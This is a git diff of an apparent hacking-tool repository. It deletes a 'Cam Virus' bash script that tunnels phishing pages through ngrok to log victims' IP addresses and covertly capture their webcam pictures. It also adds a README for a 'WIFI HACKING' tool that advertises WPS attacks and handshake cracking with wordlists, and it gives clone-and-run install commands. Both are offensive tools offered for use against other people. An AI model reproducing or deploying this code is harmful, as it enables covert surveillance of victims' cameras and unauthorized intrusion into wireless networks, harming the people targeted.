diff --git a/Cam.sh b/Cam.sh deleted file mode 100644 index 4a3d030..0000000 --- a/Cam.sh +++ /dev/null @@ -1,333 +0,0 @@ -#--------------------INFO-------------------# -#CODING U7P4L -#SCRIPT Virus Infactor -#FACEBOOK > ANONYMOUS U7P4L -#GITHUB > ANONYMOUS-U7P4L -#-------------MAIN>MENU-------------# - - -## ANSI colors (FG & BG) -RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')" -MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')" -REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')" -MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')" -RESETBG="$(printf '\e[0m\n')" - -## Directories -if [[ ! -d ".server" ]]; then - mkdir -p ".server" -fi -if [[ -d ".server/www" ]]; then - rm -rf ".server/www" - mkdir -p ".server/www" -else - mkdir -p ".server/www" -fi - - -unzip website.zip > /dev/null 2>&1 -rm -rf website.zip > /dev/null 2>&1 - - -## Script termination -exit_on_signal_SIGINT() { - { printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; } - exit 0 -} - -exit_on_signal_SIGTERM() { - { printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; } - exit 0 -} - -trap exit_on_signal_SIGINT SIGINT -trap exit_on_signal_SIGTERM SIGTERM - -## Reset terminal colors -reset_color() { - tput sgr0 # reset attributes - tput op # reset color - return -} - -## Kill already running process -kill_pid() { - if [[ `pidof php` ]]; then - killall php > /dev/null 2>&1 - fi - if [[ `pidof ngrok` ]]; then - killall ngrok > /dev/null 2>&1 - fi -} - -clear - -## Banner -banner() { - cat <<- EOF - - ${ORANGE} - - ██████ █████ ███ ███ ██ ██ ██ ██████ ██ ██ ███████ -${BLUE} ██ ██ ██ ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ -${BLUE} ██ ███████ ██ ████ ██ ██ ██ ██ ██████ ██ ██ ███████ -${BLUE} ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ -${BLUE} ██████ ██ ██ ██ ██ ████ ██ ██ ██ ██████ ███████ - - ${RED} ================================================================================ - ${GREEN}[${WHITE}-${GREEN}]${CYAN}Tool Created BY ANONYMOUS U7P4L${WHITE}${RED} (Version : 1.0) - EOF -} - -## Dependencies -dependencies() { - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..." - - if [[ -d "/data/data/com.termux/files/home" ]]; then - if [[ `command -v proot` ]]; then - printf '' - else - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE} - pkg install proot resolv-conf -y - fi - fi - - if [[ `command -v php` && `command -v wget` && `command -v curl` && `command -v unzip` ]]; then - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed." - else - pkgs=(php curl wget unzip) - for pkg in "${pkgs[@]}"; do - type -p "$pkg" &>/dev/null || { - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}$pkg${CYAN}"${WHITE} - if [[ `command -v pkg` ]]; then - pkg install "$pkg" - elif [[ `command -v apt` ]]; then - apt install "$pkg" -y - elif [[ `command -v apt-get` ]]; then - apt-get install "$pkg" -y - elif [[ `command -v pacman` ]]; then - sudo pacman -S "$pkg" --noconfirm - elif [[ `command -v dnf` ]]; then - sudo dnf -y install "$pkg" - else - echo -e "\n${RED}[${WHITE}!${RED}]${RED} Unsupported package manager, Install packages manually." - { reset_color; exit 1; } - fi - } - done - fi - -} - -## Download Ngrok -download_ngrok() { - url="$1" - file=`basename $url` - if [[ -e "$file" ]]; then - rm -rf "$file" - fi - wget --no-check-certificate "$url" > /dev/null 2>&1 - if [[ -e "$file" ]]; then - unzip "$file" > /dev/null 2>&1 - mv -f ngrok .server/ngrok > /dev/null 2>&1 - rm -rf "$file" > /dev/null 2>&1 - chmod +x .server/ngrok > /dev/null 2>&1 - else - echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured, Install Ngrok manually." - { reset_color; exit 1; } - fi -} - -## Install ngrok -install_ngrok() { - if [[ -e ".server/ngrok" ]]; then - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed." - else - echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE} - arch=`uname -m` - if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then - download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip' - elif [[ "$arch" == *'aarch64'* ]]; then - download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip' - elif [[ "$arch" == *'x86_64'* ]]; then - download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip' - else - download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip' - fi - fi - -} - -## Exit message -msg_exit() { - { clear; banner; echo; } - echo -e "\e[1;94m As you wish...lol\e[0m" - echo -e "" - sleep 0.2 - echo -e "\e[1;93m Leave!!\e[0m" - { reset_color; exit 0; } -} - -## About -about() { - { clear; banner; echo; } - cat <<- EOF - ${GREEN}Author ${RED}: ${ORANGE}Siddhant ${RED}[ ${ORANGE}Saaho ${RED}] - ${GREEN}Github ${RED}: ${CYAN}https://github.com/SiddhantOffl - ${GREEN}Version ${RED}: ${ORANGE}1.0 - - ${RED}[${WHITE}00${RED}]${ORANGE} Main Menu ${RED}[${WHITE}99${RED}]${ORANGE} Exit - - EOF - - read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}" - - if [[ "$REPLY" == 99 ]]; then - msg_exit - elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then - echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Returning to main menu..." - { sleep 1; main_menu; } - else - echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." - { sleep 1; about; } - fi -} - -## Setup website and start php server -HOST='127.0.0.1' -PORT='8080' - -setup_site() { - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE} - cp -rf .webcam/"$website"/* .server/www - cp -f .webcam/ip.php .server/www/ - echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE} - cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 & -} - -## Get IP address -capture_ip() { - IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r') - IFS=$'\n' - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP" - echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}ip.txt" - cat .server/www/ip.txt >> ip.txt -} - - -## Print data -capture_data() { - echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting to Victim Picture, ${BLUE}Ctrl + C ${ORANGE}to exit..." - while true; do - if [[ -e ".server/www/ip.txt" ]]; then - echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Victim IP Found !" - capture_ip - rm -rf .server/www/ip.txt - fi - sleep 0.75 - if [[ -e ".server/www/Log.log" ]]; then - echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Image Received! ${RED}[${CYAN}check /images Folder${RED}]" - rm -rf .server/www/Log.log - fi - sleep 0.75 - done -} - -## Start ngrok -start_ngrok() { - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" - { sleep 1; setup_site; } - echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..." - - if [[ `command -v termux-chroot` ]]; then - sleep 2 && termux-chroot ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 & # Thanks to Mustakim Ahmed (https://github.com/BDhackers009) - else - sleep 2 && ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 & - fi - - { sleep 8; clear; banner; } - ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") - ngrok_url1=${ngrok_url#https://} - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url" - capture_data -} - -## Start localhost -start_localhost() { - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" - setup_site - { sleep 1; clear; banner; } - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Successfully Hosted at : ${GREEN}${CYAN}http://$HOST:$PORT ${GREEN}" - capture_data -} - -## Tunnel selection -tunnel_menu() { - { clear; banner; } - cat <<- EOF - - ${RED}[${WHITE}01${RED}]${ORANGE} Localhost ${RED}[${CYAN}For Devs${RED}] - ${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Best${RED}] - - EOF - - read -p "${RED}[${WHITE}-${RED}]${GREEN} Select a port forwarding service : ${BLUE}" - - if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then - start_localhost - elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then - start_ngrok - else - echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." - { sleep 1; tunnel_menu; } - fi -} - - -## Menu -main_menu() { - { clear; banner; echo; } - cat <<- EOF - ${RED} [${WHITE}::${RED}]${ORANGE} Select An Attack For Your Victim ${RED}[${WHITE}::${RED}]${ORANGE} - - ${RED} [${WHITE}01${RED}]${ORANGE} Deafult - ${RED} [${WHITE}02${RED}]${ORANGE} Face App - ${RED} [${WHITE}03${RED}]${ORANGE} Reload App - ${RED} [${WHITE}99${RED}]${ORANGE} About - ${RED} [${WHITE}00${RED}]${ORANGE} Exit - - EOF - - read -p " ${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}" - - if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then - website="deafult" - tunnel_menu - - - elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then - website="camera_temp" - tunnel_menu - - elif [[ "$REPLY" == 3 || "$REPLY" == 03 ]]; then - website="xmen_temp" - tunnel_menu - - elif [[ "$REPLY" == 99 ]]; then - about - - elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then - msg_exit - - else - echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..." - { sleep 1; main_menu; } - fi -} - -##Main - -kill_pid -dependencies -install_ngrok -main_menu diff --git a/IMAGE/carbon.png b/IMAGE/carbon.png new file mode 100644 index 0000000..5480ba2 Binary files /dev/null and b/IMAGE/carbon.png differ diff --git a/IMAGE/demo1.png b/IMAGE/demo1.png new file mode 100644 index 0000000..456af7a Binary files /dev/null and b/IMAGE/demo1.png differ diff --git a/IMAGE/demo2.png b/IMAGE/demo2.png new file mode 100644 index 0000000..75e9199 Binary files /dev/null and b/IMAGE/demo2.png differ diff --git a/IMAGE/demo3.png b/IMAGE/demo3.png new file mode 100644 index 0000000..fa09d8b Binary files /dev/null and b/IMAGE/demo3.png differ diff --git a/IMAGE/demo4.png b/IMAGE/demo4.png new file mode 100644 index 0000000..d042a3c Binary files /dev/null and b/IMAGE/demo4.png differ diff --git a/IMAGE/demo5.jpg b/IMAGE/demo5.jpg new file mode 100644 index 0000000..3a8ba8b Binary files /dev/null and b/IMAGE/demo5.jpg differ diff --git a/IMAGE/demo6.jpg b/IMAGE/demo6.jpg new file mode 100644 index 0000000..08e8a56 Binary files /dev/null and b/IMAGE/demo6.jpg differ diff --git a/IMAGE/demo7.jpg b/IMAGE/demo7.jpg new file mode 100644 index 0000000..8dbb2d1 Binary files /dev/null and b/IMAGE/demo7.jpg differ diff --git a/Index.py b/Index.py new file mode 100644 index 0000000..7531d37 --- /dev/null +++ b/Index.py @@ -0,0 +1,2 @@ +import os +os.system("WIFI.py") diff --git a/LICENSE b/LICENSE index 07faa55..32234db 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2023 U7P4L MALLICK ONGKON +Copyright (c) 2023 Mr. U7P4L Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.md b/README.md index 1b44749..323527a 100644 --- a/README.md +++ b/README.md @@ -1,37 +1,119 @@ +![header](https://capsule-render.vercel.app/api?type=waving&color=auto&height=300§ion=header&text=WIFI%20HACKING&fontSize=90&animation=fadeIn&fontAlignY=38&desc=HACK%20WIFI%20USING%20ROOT%20TRMINAL&descAlignY=51&descAlign=62) + +

-____Welcome____ +   +   +   + +#### Language >
+

-AUTHOR: -

-ANONYMOUS U7P4L +>WiFi hacking tools are software used to exploit vulnerabilities in wireless networks, often for security testing or unauthorized access . -
-

- ⚡⚡Cam VIrus shoots from the target's phone front camera or PC webcam just sending a link.⚡ +#### Feutures and Containt : +- [1] Start monitor mode +- [2] Stop monitor mode +- [3] Getting Handshake +- [5] Install Wireless tools +- [6] WPS Networks attacks +- [7] Scan for WPS Networks +- [8] Crack Handshake with rockyou.txt +- [9] Crack Handshake with wordlist +- [10] Crack Handshake without wordlist + +### Tested On : +* Kali Linux +* BlackArch Linux +* Ubuntu +* Kali Nethunter +* Termux ( Rooted Devices) + +

+ +

Installation >

+ +

INSTALL TOOL ON ROOTED TERMUX >


+ +```python +apt update && apt upgrade -y +pkg install git +pkg install python +pip install requests +rm -rf WIFI-HACKING +git clone --depth=1 https://github.com/U7P4L-IN/WIFI-HACKING.git +cd WIFI-HACKING +python WIFI.py +``` +

+

+

+

+

- -#### INSTALL TOOL ON TERMUX +

+

+ + +# Report bugs +If you notice issues while installing this tool or running this tool kindly mail to me at Gmail or Open an issue via github. + +### Requirements +``` +python-3 +pip +Internet Connection +And some other python packages +``` +[Python 3](https://www.python.org/downloads/) + +
+ +

Install Requirements (on Linux) >

+ +```python +>> apt-get install git python3 python3-pip python python-pip +``` +

Kali Linux/Ubuntu/Parrot os >

+ ```python - pkg update - pkg upgrade - pkg install python - pkg install git - pip install requests - pip install bs4 - pip install futures - pip install mechanize - cd $HOME - rm -rf Cam-Virus - git clone --depth=1 https://github.com/ANONYMOUS-U7P4L/Cam-Virus.git - - cd Cam-Virus - - bash Cam.sh +sudo apt-get update && apt-get install git +git clone https://github.com/U7P4L-IN/WIFI-HACKING.git +ls +cd WIFI-HACKING +sudo python3 WIFI.py ``` +

+

+

+

+

+

+

+

+ +### Languages : + +

+

+ +For more convoluted language, see the [LICENSE](/LICENSE). +
+ +

+ +
+ +# Report bugs +If you notice issues while installing this tool or running this tool kindly mail to me at Gmail or Open an issue via github. +
DESCRIPTION
-#### Tools Languages : +* ©️ Copyright Message +>> Copyright © [2023-27] [U7P4L-IN] +>All rights reserved. This Python project, along with its code, documentation, and any associated files, is the intellectual property of ANONYMOUS CYBER. You may not reproduce, distribute, or modify the contents of this repository without explicit permission from the owner. +# Give A Star ⭐ -![Customized Card](https://github-readme-stats.vercel.app/api/pin?username=ANONYMOUS-U7P4L&repo=Cam-Virus&title_color=fff&icon_color=f9f9f9&text_color=9f9f9f&bg_color=151515) +> You can also give this repository a star to show more people and they can use this repository diff --git a/WIFI.py b/WIFI.py new file mode 100644 index 0000000..2298e99 Binary files /dev/null and b/WIFI.py differ